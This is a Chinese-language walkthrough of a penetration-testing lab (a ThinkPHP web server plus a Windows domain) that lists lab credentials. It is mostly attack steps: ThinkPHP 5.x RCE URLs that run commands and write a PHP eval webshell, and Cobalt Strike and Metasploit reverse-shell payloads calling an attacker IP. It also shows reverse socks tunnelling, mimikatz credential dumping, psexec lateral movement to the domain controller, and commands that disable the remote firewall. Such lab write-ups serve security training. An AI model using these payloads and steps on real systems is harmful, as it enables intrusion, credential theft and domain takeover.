环境搭建:
第一次登录会提示需要更改账号密码。
win7账号密码:
sun\heart 123.com
sun\Administrator dc123.com
—————————————————————————————————————————————————————————————
2008账号密码
sun\admin 2020.com
外网采用NAT模式,内网采用仅主机模式。
添加一个主机模式用于内网,设置网段为192.168.138.0.
NAT用于外网,设置网段为192.168.235.0
windows7需要配置双网卡
Web服务器(使用的是PHPStudy,记得自己手动开一下)
外网:192.168.235.101
内网:192.168.138.136
Windows Server 2008:
内网:192.168.138.138
注意windows7两个网卡的顺序
外网渗透:
外网渗透:
1、使用nmap进行扫描:
192.168.135.101为目标地址:主要开着80和3306端口
访问80端口发现是个thinkphp:
版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞。
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 P O S T [ m ′ e t h o d ′ ] 来 传 递 真 实 的 请 求 方 法 。 但 由 于 框 架 没 有 对 参 数 进 行 验 证 , 导 致 攻 击 者 可 以 设 置 _POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 POST[m′ethod′]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置_POST[‘_method’]='__construct’而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
通过报错查看详细版本。可以看到这里版本是5.0.22
在这里插入图片描述
方法一:使用ThinkPHP一键检测工具进行漏洞检测
成功检测出漏洞后,利用漏洞上传木马文件。
<?php
phpinfo();
@eval($_POST['shell']);
?>
查看URL可以看到,我们的一句话木马上传成功
接下来就是使用蚁剑进行连接
方法二,得到具体版本信息后
使用kali的searchsploit查找一下漏洞利用POC:
searchsploit thinkphp
最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt
使用payload进行验证:
查询账号
http://192.168.235.101/thinkphp/public/?s=.|think\config/get&name=database.username
http://192.168.235.101/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
命令执行成功:
可以利用payload写入Webshell:
http://192.168.235.101/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “<?php phpinfo();@eval($_POST['shell']);?>” > shell2.php
内网信息收集:
使用 cobalt strike 进行渗透,要让我们 win7 上线,首先搭建 cs 环境,使用 kali 作为服务端,本机作为客户端
(前提:需要通过蚁剑将win7中的杀毒软件等防火墙进行关闭)
进入 cs 文件下使用 root 权限
1.启动服务端
本机打开客户端
创建监听器
生成 shell exe 木马利用蚁剑将木马程序上传到 win7 靶机
上传后使用蚁剑中的终端执行exe命令
start shell.exe
cs 中看到管理员已经上线
运行 mimikatz 读到了域管理员的密码
将权限提权到system
接着进行信息收集
查看本机ip,所在域:shell ipconfig /all
查看其他域内主机信息:shell net view
判断是否存在多个域:shell net view /domain
这里只存在一个sum域
查看域内用户:shell net user /domain
查看域控制器:net group “domain controllers” /domain
查看域管理员的名字:net group “domain admins” /domain
通过信息收集,目标主机所在的域环境,域名为sun.com,存在两台域主机DC和win7.DC的ip为:192.168.138.138,win7双网卡:192.168.235.101、192.168.138.136。
其中域控制器DC.sun.com,域管理员为Administrator。
横向移动:
方法一:
内网主机探活和端口扫描,这里我选择上传一个Ladon.exe进行扫描
探测内网主机存活情况:shell Ladon 192.168.138.0/24 ONlineIP
对其目标主机网段进行禁ping端口开放扫描:shell Ladon noping 192.168.138.136 PortScan
发现我们的域控主机开放了445端口,可以尝试psexec横向移动
DC成功上线
方法二:MSF
生成木马
use exploit/multi/script/web_delivery
show targets
set target 2 # 选择使用powershell类型的payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.235.146
Exploit
生成了一段powershell代码,使用蚁剑进行执行
利用蚁剑执行后,拿到system
接下来就是信息收集了,但是上面我们已经进行了信息收集,这里就直接跳过信息收集
msf路由转发
run autoroute -s 192.168.138.0/24
run autoroute -p
建立隧道
kali开启代理
vim /etc/proxychains4.conf
在最好将socks4进行注释,新增sock5 127.0.0.1 8888
kali启动
反弹方式创建 socks 代理
nohup ./ew_for_linux64 -s rcsocks -l 8888 -e 6666
#侦听1080端口,提供socks代理 并且将1080的代理发送到8888端口,此时也侦听8888端口,等待反弹连接
通过蚁剑把ew上传到win7上,win7连接kali
ew_for_Win.exe -s rssocks -d 192.168.235.146 -e 6666
隧道构建成功
wiki模块抓取密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
报错了,这一看就是位数不对,mimikatz是32位,不能访问64位的,那就给迁移到64位
ps
migrate 348
再次执行
kiwi_cmd sekurlsa::logonPasswords
拿到域管理员的用户名和密码
利用Psexec登录域控
use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass Lwj.123456 #密码
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
set lport 6666
Run
尝试防火墙,利用shell建立连接,关闭防火墙
net use \192.168.138.138\ipc$ “Lwj.123456” /user:“administrator”
sc \192.168.138.138 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.138.138 start unablefirewall
再次连接
————————后面有时间再更新吧